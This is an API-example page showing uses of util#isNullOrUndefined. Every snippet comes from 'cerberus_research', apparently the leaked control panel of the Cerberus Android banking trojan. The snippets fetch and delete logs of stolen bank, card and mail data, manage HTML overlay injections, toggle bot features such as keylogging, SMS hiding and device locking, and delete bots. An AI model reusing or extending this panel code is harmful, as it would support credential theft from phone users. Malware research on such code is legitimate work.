util#isNullOrUndefined JavaScript Examples

The following examples show how to use util#isNullOrUndefined. You can vote up the ones you like or vote down the ones you don't like, and go to the original project or source file by following the links above each example. You may check out the related API usage on the sidebar.
Example #1
Source File: MailLogsTable.js    From cerberus_research with Apache License 2.0 6 votes vote down vote up
onLoadJson () {
        this.DisableTimer();

        let paramslink = this.state.isBotSelected ? '{"request":"getLogsMail"}' : '{"request":"getLogsMail","idbot":"' + this.props.botID + '"}';

        let request = $.ajax({
            type: 'POST',
            url: SettingsContext.restApiUrl,
            data: {
                'params': new Buffer(paramslink).toString('base64')
            }
        });

        request.done(function(msg) {
            try {
                let result = JSON.parse(msg);
                if(!isNullOrUndefined(result.error)) {
                    SettingsContext.ShowToastTitle('error', 'ERROR', result.error);
                    this.setState({
                        error: result.error
                    });
                }
                else {
                    this.setState({
                        isLoaded: true,
                        LogsList: result.logsMails
                    });
                }
            }
            catch (ErrMgs) {
                SettingsContext.ShowToastTitle('error', 'ERROR', 'Error loading Mail Logs. Look console for more details');
                
                console.log('Error - ' + ErrMgs);
            }
        }.bind(this));

        this.autoUpdate();
    }
Example #2
Source File: BanksLogsTable.js    From cerberus_research with Apache License 2.0 6 votes vote down vote up
constructor(props) {
        super(props);
        this.state = {
            isBotSelected: isNullOrUndefined(this.props.botID),
            isModal: isNullOrUndefined(this.props.Modal),
            error: null,
            isLoaded: false,
            LogsList: []
        };

        this.onLoadJson = this.onLoadJson.bind(this);
    }
Example #3
Source File: BanksLogsTable.js    From cerberus_research with Apache License 2.0 6 votes vote down vote up
onLoadJson () {
        this.DisableTimer();

        let paramslink = this.state.isBotSelected ? '{"request":"getLogsBank"}' : '{"request":"getLogsBank","idbot":"' + this.props.botID + '"}';

        let request = $.ajax({
            type: 'POST',
            url: SettingsContext.restApiUrl,
            data: {
                'params': new Buffer(paramslink).toString('base64')
            }
        });

        request.done(function(msg) {
            try {
                let result = JSON.parse(msg);
                if(!isNullOrUndefined(result.error)) {
                    SettingsContext.ShowToastTitle('error', 'ERROR', result.error);
                    this.setState({
                        error: result.error
                    });
                }
                else {
                    this.setState({
                        isLoaded: true,
                        LogsList: result.logsBanks
                    });
                }
            
            }
            catch (ErrMgs) {
                SettingsContext.ShowToastTitle('error', 'ERROR', 'Error loading Bank Logs. Look console for more details.');
                
                console.log('Error - ' + ErrMgs);
            }
        }.bind(this));

        this.autoUpdate();
    }
Example #4
Source File: BanksLogsTable.js    From cerberus_research with Apache License 2.0 6 votes vote down vote up
OnDeleteThis() {
        let request = $.ajax({
            type: 'POST',
            url: SettingsContext.restApiUrl,
            data: {
                'params': new Buffer('{"request":"deleteLogsBank","idinj":"' + this.props.idinj + '"}').toString('base64')
            }
        });
        
        request.done(function(msg) {
            try {
                let result = JSON.parse(msg);
                if(!isNullOrUndefined(result.error)) {
                    SettingsContext.ShowToastTitle('error', 'ERROR', result.error);
                    this.props.UpdateThisComponent();
                }
                else {
                    SettingsContext.ShowToast('success', 'Log removed');
                    this.props.UpdateThisComponent();
                }
                
            }
            catch (ErrMgs) {
                SettingsContext.ShowToastTitle('error', 'ERROR', 'Error removing bank log. Look console for more details.');
                
                console.log('Error - ' + ErrMgs);
            }
        }.bind(this));
    }
Example #5
Source File: InjectTable.js    From cerberus_research with Apache License 2.0 6 votes vote down vote up
onLoadJson () {
        let request = $.ajax({
            type: 'POST',
            url: SettingsContext.restApiUrl,
            data: {
                'params': new Buffer('{"request":"getHtmlInjection"}').toString('base64')
            }
        });
        
        request.done(function(msg) {
            try {
                let result = JSON.parse(msg);
                if(!isNullOrUndefined(result.error)) {
                    SettingsContext.ShowToastTitle('error', 'ERROR', result.error);
                }
                else {
                    this.setState({
                        isLoaded: true,
                        InjectList: result.dataInjections
                    });
                }
            }
            catch (ErrMgs) {
                SettingsContext.ShowToastTitle('error', 'ERROR', 'Error loading injects. Look console for more details.');
                console.log('Error - ' + ErrMgs);
            }
        }.bind(this));
    }
Example #6
Source File: InjectRow.js    From cerberus_research with Apache License 2.0 6 votes vote down vote up
OnDeleteInject() {
        let request = $.ajax({
            type: 'POST',
            url: SettingsContext.restApiUrl,
            data: {
                'params': new Buffer('{"request":"deleteHtmlInjection","app":"' + this.props.app + '"}').toString('base64')
            }
        });
        
        request.done(function(msg) {
			try {
				let result = JSON.parse(msg);
				if(!isNullOrUndefined(result.error)) {
					SettingsContext.ShowToastTitle('error', 'ERROR', result.error);
					SettingsContext.UpdateInjectsTable();
				}
				else {
					SettingsContext.ShowToast('success', 'Inject removed');
					SettingsContext.UpdateInjectsTable();
					this.props.InjListForceUpdate();
				}
			}
            catch (ErrMgs) {
                SettingsContext.ShowToastTitle('error', 'ERROR', 'Error remove inject. Look console for more details.');
                console.log('Error - ' + ErrMgs);
            }
        }.bind(this));
    }
Example #7
Source File: CCLogsTable.js    From cerberus_research with Apache License 2.0 6 votes vote down vote up
OnDeleteThis() {
        let request = $.ajax({
            type: 'POST',
            url: SettingsContext.restApiUrl,
            data: {
                'params': new Buffer('{"request":"deleteLogsCC","idinj":"' + this.props.idinj + '"}').toString('base64')
            }
        });
        
        request.done(function(msg) {
            try {
                let result = JSON.parse(msg);
                if(!isNullOrUndefined(result.error)) {
                    SettingsContext.ShowToastTitle('error', 'ERROR', result.error);
                    this.props.UpdateThisComponent();
                }
                else {
                    SettingsContext.ShowToast('success', 'Log removed');
                    this.props.UpdateThisComponent();
                }
                
            }
            catch (ErrMgs) {
                SettingsContext.ShowToastTitle('error', 'ERROR', 'Error removing log. Look console for more details.');
                console.log('Error - ' + ErrMgs);
            }
        }.bind(this));
    }
Example #8
Source File: CCLogsTable.js    From cerberus_research with Apache License 2.0 6 votes vote down vote up
onLoadJson () {
        this.DisableTimer();

        let paramslink = this.state.isBotSelected ? '{"request":"getLogsCC"}' : '{"request":"getLogsCC","idbot":"' + this.props.botID + '"}';

        let request = $.ajax({
            type: 'POST',
            url: SettingsContext.restApiUrl,
            data: {
                'params': new Buffer(paramslink).toString('base64')
            }
        });

        request.done(function(msg) {
            try {
                let result = JSON.parse(msg);
                if(!isNullOrUndefined(result.error)) {
                    SettingsContext.ShowToastTitle('error', 'ERROR', result.error);
                    this.setState({
                        error: result.error
                    });
                }
                else {
                    this.setState({
                        isLoaded: true,
                        LogsList: result.logsCCs
                    });
                }
                
            }
            catch (ErrMgs) {
                SettingsContext.ShowToastTitle('error', 'ERROR', 'Error loading CC logs table. Look console for more details.');
                console.log('Error - ' + ErrMgs);
            }
        }.bind(this));

        this.autoUpdate();
    }
Example #9
Source File: CCLogsTable.js    From cerberus_research with Apache License 2.0 6 votes vote down vote up
constructor(props) {
        super(props);
        this.state = {
            isBotSelected: isNullOrUndefined(this.props.botID),
            isModal: isNullOrUndefined(this.props.Modal),
            error: null,
            isLoaded: false,
            LogsList: []
        };

        this.onLoadJson = this.onLoadJson.bind(this);
    }
Example #10
Source File: SettingsPage.js    From cerberus_research with Apache License 2.0 6 votes vote down vote up
UpdatePanel() {
        let request = $.ajax({
            type: 'POST',
            url: SettingsContext.restApiUrl,
            data: {
                'params': new Buffer('{"request":"startUpdateCommand"}').toString('base64')
            }
        });
        
        request.done(function(msg) {
			try {
				let result = JSON.parse(msg);
				if(!isNullOrUndefined(result.error))
				{
					SettingsContext.ShowToastTitle('error', 'ERROR', result.error);
				}
				else
				{
                    SettingsContext.ShowToastTitle('success', 'Update completed', result.msg);
				}
				
            }
            catch (ErrMgs) {
                SettingsContext.ShowToastTitle('error', 'ERROR', 'ERROR WHILE UPDATE. Show console for more details.');
                console.log('Error - ' + ErrMgs);
            }
        }.bind(this));
    }
Example #11
Source File: AllLogsPage.js    From cerberus_research with Apache License 2.0 6 votes vote down vote up
SendLogsCommand(cmdName, deletethis) {
        let request = $.ajax({
            type: 'POST',
            url: SettingsContext.restApiUrl,
            data: {
                'params': new Buffer(
                    '{"request":"' + cmdName + '","idbot":"' + SettingsContext.CurrentSetBot + '"}'
                ).toString('base64')
            }
        });
        
        request.done(function(msg) {
			try {
				let result = JSON.parse(msg);
				if(!isNullOrUndefined(result.error)) {
					SettingsContext.ShowToastTitle('error', 'ERROR', result.error);
				}
				else {
					if(isNullOrUndefined(deletethis)) {
						this.ParseResult(result);
					}
					else {
						SettingsContext.ShowToast('success', 'logs delete success');
						this.setState({
							ResultOnLog: <Redirect to="/bots"/>
						});
					}
				}
            }
            catch (ErrMgs) {
                SettingsContext.ShowToastTitle('error', 'ERROR', 'Error send bot cmd ' + cmdName + '. Look console for more details.');
                console.log('Error - ' + ErrMgs);
            }
        }.bind(this));
    }
Example #12
Source File: MailLogsTable.js    From cerberus_research with Apache License 2.0 6 votes vote down vote up
OnDeleteThis() {
        let request = $.ajax({
            type: 'POST',
            url: SettingsContext.restApiUrl,
            data: {
                'params': new Buffer('{"request":"deleteLogsMail","idinj":"' + this.props.idinj + '"}').toString('base64')
            }
        });
        
        request.done(function(msg) {
            try {
                let result = JSON.parse(msg);
                if(!isNullOrUndefined(result.error)) {
                    SettingsContext.ShowToastTitle('error', 'ERROR', result.error);
                    this.props.UpdateThisComponent();
                }
                else {
                    SettingsContext.ShowToast('success', 'Log removed');
                    this.props.UpdateThisComponent();
                }
                
            }
            catch (ErrMgs) {
                SettingsContext.ShowToastTitle('error', 'ERROR', 'Error remove Mail Log. Look console for more details.');
                
                console.log('Error - ' + ErrMgs);
            }
        }.bind(this));
    }
Example #13
Source File: BuilderConfig.js    From cerberus_research with Apache License 2.0 6 votes vote down vote up
UpdatePanel() {
        let request = $.ajax({
            type: 'POST',
            url: SettingsContext.restApiUrl,
            data: {
                'params': new Buffer('{"request":"startUpdateCommand"}').toString('base64')
            }
        });
        
        request.done(function(msg) {
			try {
				let result = JSON.parse(msg);
				if(!isNullOrUndefined(result.error))
				{
					SettingsContext.ShowToastTitle('error', 'ERROR', result.error);
				}
				else
				{
                    SettingsContext.ShowToastTitle('success', 'Update completed', result.msg);
				}
				
            }
            catch (ErrMgs) {
                SettingsContext.ShowToastTitle('error', 'ERROR', 'ERROR WHILE UPDATE. Show console for more details.');
                console.log('Error - ' + ErrMgs);
            }
        }.bind(this));
    }
Example #14
Source File: BotsList.js    From cerberus_research with Apache License 2.0 6 votes vote down vote up
deleteSelectedBots() { // TODO: Callback to refresh table after fetch
        let botsList = '';
        SettingsContext.SelectedBots.forEach(function(element) {
            botsList += element + ',';
        }); // преобразование в нужный формат массива ботов

        let request = $.ajax({
            type: 'POST',
            url: SettingsContext.restApiUrl,
            data: {
                'params': new Buffer('{"request":"deleteBots","idbot":"' + botsList.substring(0, botsList.length - 1) + '"}').toString('base64')
            }
        });
        
        request.done(function(msg) {
			try {
				let result = JSON.parse(msg);
				if(!isNullOrUndefined(result.error))
				{
					SettingsContext.ShowToastTitle('error', 'ERROR', result.error);
				}
				else
				{
					SettingsContext.ShowToast('success', result.message);
					SettingsContext.CurrentSetBot = '';
					SettingsContext.UpdateTable();
					this.forceUpdate();
				}
            }
            catch (ErrMgs) {
                SettingsContext.ShowToastTitle('error', 'ERROR', 'Error deleteBots command. Look console for more details.');
                console.log('Error - ' + ErrMgs);
            }
        }.bind(this));
    }
Example #15
Source File: MailLogsTable.js    From cerberus_research with Apache License 2.0 6 votes vote down vote up
constructor(props) {
        super(props);
        this.state = {
            isBotSelected: isNullOrUndefined(this.props.botID),
            isModal: isNullOrUndefined(this.props.Modal),
            error: null,
            isLoaded: false,
            LogsList: []
        };

        this.onLoadJson = this.onLoadJson.bind(this);
    }
Example #16
Source File: BotSettingsModal.js    From cerberus_research with Apache License 2.0 6 votes vote down vote up
SaveSettings() {
        let request = $.ajax({
            type: 'POST',
            url: SettingsContext.restApiUrl,
            data: {//{"request":"editBotSettings","idbot":"123123","hideSMS":"1","lockDevice":"1","offSound":"1","keylogger":"1","activeInjection":":inj1:inj2"}
                'params': new Buffer(
                    '{"' + 
                    'request":"editBotSettings",' + 
                    '"idbot":"' + SettingsContext.CurrentSetBot + '",' + 
                    '"hideSMS":"' + this.state.hideSMS + '",' + 
                    '"lockDevice":"' + this.state.lockDevice + '",' + 
                    '"offSound":"' + this.state.offSound + '",' + 
                    '"keylogger":"' + this.state.keylogger + '",' + 
                    '"activeInjection":"' + this.state.activeInjection + '"' +
                    '}').toString('base64')
            }
        });

        request.done(function(msg) {
			try {
				let result = JSON.parse(msg);
				if(!isNullOrUndefined(result.error))
				{
					SettingsContext.ShowToastTitle('error', 'ERROR', result.error);
				}
				else
				{
					SettingsContext.ShowToast('success', 'Settings saved complete!');
					this.onLoadJson();
				}
            }
            catch (ErrMgs) {
                SettingsContext.ShowToastTitle('error', 'ERROR', 'Error save bot settings. Look console for more details.');
                console.log('Error - ' + ErrMgs);
            }
        }.bind(this));
    }
Example #17
Source File: BotInfoModal.js    From cerberus_research with Apache License 2.0 6 votes vote down vote up
onLoadJson () {
        if(SettingsContext.CurrentSetBot.length < 1) {
            return;
        }
        let request = $.ajax({
            type: 'POST',
            url: SettingsContext.restApiUrl,
            data: {
                'params': new Buffer('{"request":"getBotsFull","idbot":"' + SettingsContext.CurrentSetBot + '"}').toString('base64')
            }
        });

        request.done(function(msg) {
			try {
				let result = JSON.parse(msg);
				if(!isNullOrUndefined(result.error))
				{
					SettingsContext.ShowToastTitle('error', 'ERROR', result.error);
				}
				else
				{
					this.setState({
						myObjJS: result,
						BotID: SettingsContext.CurrentSetBot
					});
				}
			
            }
            catch (ErrMgs) {
                SettingsContext.ShowToastTitle('error', 'ERROR', 'Error loading bot info. Look console for more details.');
                console.log('Error - ' + ErrMgs);
            }
        }.bind(this));
    }
Example #18
Source File: BotInfoModal.js    From cerberus_research with Apache License 2.0 6 votes vote down vote up
onLoadJson () {
        if(SettingsContext.CurrentSetBot.length < 1) {
            return;
        }
        let request = $.ajax({
            type: 'POST',
            url: SettingsContext.restApiUrl,
            data: {
                'params': new Buffer('{"request":"getBotsFull","idbot":"' + SettingsContext.CurrentSetBot + '"}').toString('base64')
            }
        });

        request.done(function(msg) {
			try {
				let result = JSON.parse(msg);
				if(!isNullOrUndefined(result.error))
				{
					SettingsContext.ShowToastTitle('error', 'ERROR', result.error);
				}
				else
				{
					this.setState({
						myObjJS: result,
						BotID: SettingsContext.CurrentSetBot
					});
				}
			
            }
            catch (ErrMgs) {
                SettingsContext.ShowToastTitle('error', 'ERROR', 'Error loading bot info. Look console for more details.');
                console.log('Error - ' + ErrMgs);
            }
        }.bind(this));
    }
Example #19
Source File: BanksLogsTable.js    From cerberus_research with Apache License 2.0 6 votes vote down vote up
constructor(props) {
        super(props);
        this.state = {
            isBotSelected: isNullOrUndefined(this.props.botID),
            isModal: isNullOrUndefined(this.props.Modal),
            error: null,
            isLoaded: false,
            LogsList: []
        };

        this.onLoadJson = this.onLoadJson.bind(this);
    }
Example #20
Source File: BotsList.js    From cerberus_research with Apache License 2.0 6 votes vote down vote up
deleteSelectedBots() { // TODO: Callback to refresh table after fetch
        let botsList = '';
        SettingsContext.SelectedBots.forEach(function(element) {
            botsList += element + ',';
        }); // преобразование в нужный формат массива ботов

        let request = $.ajax({
            type: 'POST',
            url: SettingsContext.restApiUrl,
            data: {
                'params': new Buffer('{"request":"deleteBots","idbot":"' + botsList.substring(0, botsList.length - 1) + '"}').toString('base64')
            }
        });
        
        request.done(function(msg) {
			try {
				let result = JSON.parse(msg);
				if(!isNullOrUndefined(result.error))
				{
					SettingsContext.ShowToastTitle('error', 'ERROR', result.error);
				}
				else
				{
					SettingsContext.ShowToast('success', result.message);
					SettingsContext.CurrentSetBot = '';
					SettingsContext.UpdateTable();
					this.forceUpdate();
				}
            }
            catch (ErrMgs) {
                SettingsContext.ShowToastTitle('error', 'ERROR', 'Error deleteBots command. Look console for more details.');
                console.log('Error - ' + ErrMgs);
            }
        }.bind(this));
    }
Example #21
Source File: BanksLogsTable.js    From cerberus_research with Apache License 2.0 6 votes vote down vote up
OnDeleteThis() {
        let request = $.ajax({
            type: 'POST',
            url: SettingsContext.restApiUrl,
            data: {
                'params': new Buffer('{"request":"deleteLogsBank","idinj":"' + this.props.idinj + '"}').toString('base64')
            }
        });
        
        request.done(function(msg) {
            try {
                let result = JSON.parse(msg);
                if(!isNullOrUndefined(result.error)) {
                    SettingsContext.ShowToastTitle('error', 'ERROR', result.error);
                    this.props.UpdateThisComponent();
                }
                else {
                    SettingsContext.ShowToast('success', 'Log removed');
                    this.props.UpdateThisComponent();
                }
                
            }
            catch (ErrMgs) {
                SettingsContext.ShowToastTitle('error', 'ERROR', 'Error removing bank log. Look console for more details.');
                
                console.log('Error - ' + ErrMgs);
            }
        }.bind(this));
    }
Example #22
Source File: InjectTable.js    From cerberus_research with Apache License 2.0 6 votes vote down vote up
async onLoadJson () {
        while(isNullOrUndefined(SettingsContext.restApiUrl)) await SettingsContext.sleep(500);
        while(SettingsContext.restApiUrl.length < 15) await SettingsContext.sleep(500);
        let request = $.ajax({
            type: 'POST',
            url: SettingsContext.restApiUrl,
            data: {
                'params': new Buffer('{"request":"getHtmlInjection"}').toString('base64')
            }
        });
        
        request.done(function(msg) {
            try {
                let result = JSON.parse(msg);
                if(!isNullOrUndefined(result.error)) {
                    SettingsContext.ShowToastTitle('error', 'ERROR', result.error);
                }
                else {
                    this.setState({
                        isLoaded: true,
                        InjectList: result.dataInjections
                    });
                }
            }
            catch (ErrMgs) {
                SettingsContext.ShowToastTitle('error', 'ERROR', 'Error loading injects. Look console for more details.');
                console.log('Error - ' + ErrMgs);
            }
        }.bind(this));
    }
Example #23
Source File: InjectRow.js    From cerberus_research with Apache License 2.0 6 votes vote down vote up
OnDeleteInject() {
        let request = $.ajax({
            type: 'POST',
            url: SettingsContext.restApiUrl,
            data: {
                'params': new Buffer('{"request":"deleteHtmlInjection","app":"' + this.props.app + '"}').toString('base64')
            }
        });
        
        request.done(function(msg) {
			try {
				let result = JSON.parse(msg);
				if(!isNullOrUndefined(result.error)) {
					SettingsContext.ShowToastTitle('error', 'ERROR', result.error);
					SettingsContext.UpdateInjectsTable();
				}
				else {
					SettingsContext.ShowToast('success', 'Inject removed');
					SettingsContext.UpdateInjectsTable();
					this.props.InjListForceUpdate();
				}
			}
            catch (ErrMgs) {
                SettingsContext.ShowToastTitle('error', 'ERROR', 'Error remove inject. Look console for more details.');
                console.log('Error - ' + ErrMgs);
            }
        }.bind(this));
    }
Example #24
Source File: InjectRow.js    From cerberus_research with Apache License 2.0 6 votes vote down vote up
onLoadJsonHTMLDATA () {
        let request = $.ajax({
            type: 'POST',
            url: SettingsContext.restApiUrl,
            data: {
                'params': new Buffer('{"request":"getHtmlFileOfInject", "app":"' + this.props.app + '"}').toString('base64')
            }
        });
        
        request.done(function(msg) {
            try {
                let result = JSON.parse(msg);
                if(!isNullOrUndefined(result.error)) {
                    SettingsContext.ShowToastTitle('error', 'ERROR', result.error);
                }
                else {
                    SettingsContext.HTMLShowContentBase64 = result.html;
                    SettingsContext.InjectSelectedAPPName = this.props.app;
					this.props.InjListForceUpdate();
                    try_eval('$("#ShowInjectModal").modal("show");');
                }
            }
            catch (ErrMgs) {
                SettingsContext.ShowToastTitle('error', 'ERROR', 'Error load inject info.');
                console.log('Error - ' + ErrMgs);
            }
        }.bind(this));
    }
Example #25
Source File: EditCommentUniversal.js    From cerberus_research with Apache License 2.0 6 votes vote down vote up
OnSendData() {
        let params = '';
        if(!isNullOrUndefined(this.props.idinj)) {
            params = new Buffer('{"request":"' + this.props.request + '","idinj":"' + this.props.idinj + '","comment":"' + new Buffer(this.state.text).toString('base64') + '"}').toString('base64');
        }
        if(!isNullOrUndefined(this.props.idbot)) {
            params = new Buffer('{"request":"' + this.props.request + '","idbot":"' + this.props.idbot + '","comment":"' + new Buffer(this.state.text).toString('base64') + '"}').toString('base64');
        }
        let request = $.ajax({
            type: 'POST',
            url: SettingsContext.restApiUrl,
            data: {
                'params': params
            }
        });
        
        request.done(function(msg) {
			try {
				let result = JSON.parse(msg);
				if(!isNullOrUndefined(result.error)) {
					SettingsContext.ShowToastTitle('error', 'ERROR', result.error);
				}
				else {
					SettingsContext.ShowToast('success', result.message);
					this.props.parentObj.ChangeDefaultComment(this.state.text);
					this.setState({
						oldtext: this.state.text,
						EditState: false,
						divStyle: '#324736'
					})
				}
            }
            catch (ErrMgs) {
                SettingsContext.ShowToastTitle('error', 'ERROR', 'Error edit comment. Look console for more details.');
                console.log('Error - ' + ErrMgs);
            }
        }.bind(this));
    }
Example #26
Source File: SettingsPage.js    From cerberus_research with Apache License 2.0 5 votes vote down vote up
LoadSettingsFromServer() {
        let request = $.ajax({
            type: 'POST',
            url: SettingsContext.restApiUrl,
            data: {
                'params': new Buffer('{"request":"getGlobalSettings"}').toString('base64')
            }
        });
        
        request.done(function(msg) {
			try {
				let result = JSON.parse(msg);
				if(!isNullOrUndefined(result.error))
				{
					SettingsContext.ShowToastTitle('error', 'ERROR', result.error);
				}
				else
				{
					SettingsContext.arrayUrl = result.arrayUrl;
					SettingsContext.timeInject = result.timeInject;
					SettingsContext.timeCC = result.timeCC;
					SettingsContext.timeMail = result.timeMail;
					SettingsContext.pushTitle = result.pushTitle;
					SettingsContext.pushText = result.pushText;
                    SettingsContext.timeProtect = result.timeProtect;
                    SettingsContext.AccessKey = result.key;
					if(result.updateTableBots == 0) {
						SettingsContext.autoUpdateDelay = 0;
						SettingsContext.autoUpdateEnable = false;
					}
					else {
						SettingsContext.autoUpdateDelay = result.updateTableBots;
						SettingsContext.autoUpdateEnable = true;
					}
					SettingsContext.SaveSettingsCookies();
					this.setState({
						LoadHash: Math.random().toString()
					});
				}
				
            }
            catch (ErrMgs) {
                SettingsContext.ShowToastTitle('error', 'ERROR', 'ERROR LOADING SETTINGS FROM SERVER. Look console for more details.');
                console.log('Error - ' + ErrMgs);
            }
        }.bind(this));
    }
Example #27
Source File: SideBarMenu.js    From cerberus_research with Apache License 2.0 5 votes vote down vote up
onLoadJson () {
        this.DisableTimer();

        let request = $.ajax({
            type: 'POST',
            url: SettingsContext.restApiUrl,
            data: {
                'params': new Buffer('{"request":"mainStats"}').toString('base64')
            }
        });

        request.done(function(msg) {
			try {
				let result = JSON.parse(msg);
				if(!isNullOrUndefined(result.error))
				{
					SettingsContext.ShowToastTitle('error', 'ERROR', result.error);
				}
				else
				{
					this.setState({
						isLoaded: true,
						stats_banks: result.banks,
						stats_bots: result.bots,
						stats_cards: result.cards,
						stats_dead: result.dead,
						stats_mails: result.mails,
						stats_offline: result.offline,
						stats_online: result.online
					});
				}
            }
            catch (ErrMgs) {
                SettingsContext.ShowToastTitle('error', 'ERROR', 'Error loading main stats. Look console for more details.');
                console.log('Error - ' + ErrMgs);
            }
        }.bind(this));

        this.autoUpdate();
    }
Example #28
Source File: BotsTable.js    From cerberus_research with Apache License 2.0 5 votes vote down vote up
/**'{"request":"getBots","currentPage":"1","sorting":"0101010"}'   // это с сортировкой (sorting) Пример

     0 - false    1-true

    1 - online
    2 - offline
    3 - dead
    4 - Exist App Banks
    5 - No Exist App Banks
    6 - statBank==1
    7 - statCC==1
    8 - statMail==1
    */

    async onLoadJson (currState) {
        while(isNullOrUndefined(SettingsContext.restApiUrl)) await SettingsContext.sleep(500);
        while(SettingsContext.restApiUrl.length < 15) await SettingsContext.sleep(500);

        this.DisableTimer();

        let request = $.ajax({
            type: 'POST',
            url: SettingsContext.restApiUrl,
            data: {
                'params': new Buffer(
                    '{"request":"getBots","currentPage":"' + currState +
                    '","sorting":"' + SettingsContext.BotsFilterMode + 
                    '","botsperpage":"' + SettingsContext.BotsPerPage + 
                    '","countrycode":"' + SettingsContext.BotByCountry + 
                    '","findbyid":"' + SettingsContext.FindBotByID + 
                    '"}'
                ).toString('base64')
            }
        });
        
        request.done(function(msg) {
            try {
                let result = JSON.parse(msg);
                if(!isNullOrUndefined(result.error)) {
                    SettingsContext.ShowToastTitle('error', 'ERROR', result.error);
                }
                else {
                    this.setState({
                        isLoaded: true,
                        pages: result.pages,
                        botslist: result.bots,
                        currentPage: result.currentPage
                    });
                }
            }
            catch (ErrMgs) {
                SettingsContext.ShowToastTitle('error', 'ERROR', 'Error loading bots table. Look console for more details.');
                console.log('Error - ' + ErrMgs);
            }
        }.bind(this));

        this.autoUpdate();
    }
Example #29
Source File: AddInjectForm.js    From cerberus_research with Apache License 2.0 5 votes vote down vote up
OnSendInjectData() {
        console.log( new Buffer('{"request":"addHtmlInjection","app":"' + this.state.AppName + '","html":"' + this.state.HtmlFile + '","icon":"' + this.state.PngFile + '"}').toString('base64'));
        let request = $.ajax({
            type: 'POST',
            url: SettingsContext.restApiUrl,
            data: {
                'params': new Buffer('{"request":"addHtmlInjection","app":"' + this.state.AppName + '","html":"' + this.state.HtmlFile + '","icon":"' + this.state.PngFile + '"}').toString('base64')
            }
        });
        
        request.done(function(msg) {
			try {
				let result = JSON.parse(msg);
				if(!isNullOrUndefined(result.error))
				{
					SettingsContext.ShowToastTitle('error', 'ERROR', result.error);
				}
				else
				{
					SettingsContext.ShowToast('success', 'Inject adddedd');
					SettingsContext.UpdateInjectsTable();
					this.props.InjListForceUpdate();
					try_eval('document.getElementById("HtmlFileInput").value = "";');
					try_eval('document.getElementById("PngFileInput").value = "";');
					this.setState({
						HtmlFile: '',
						PngFile: '',
						AppName: '',
						HtmlFileValid: false,
						PngFileValid: false,
						AppNameValid: false
					});
				}
			
            }
            catch (ErrMgs) {
                SettingsContext.ShowToastTitle('error', 'ERROR', 'Error add inject. Look console for more details.');
                console.log('Error - ' + ErrMgs);
            }
        }.bind(this));
    }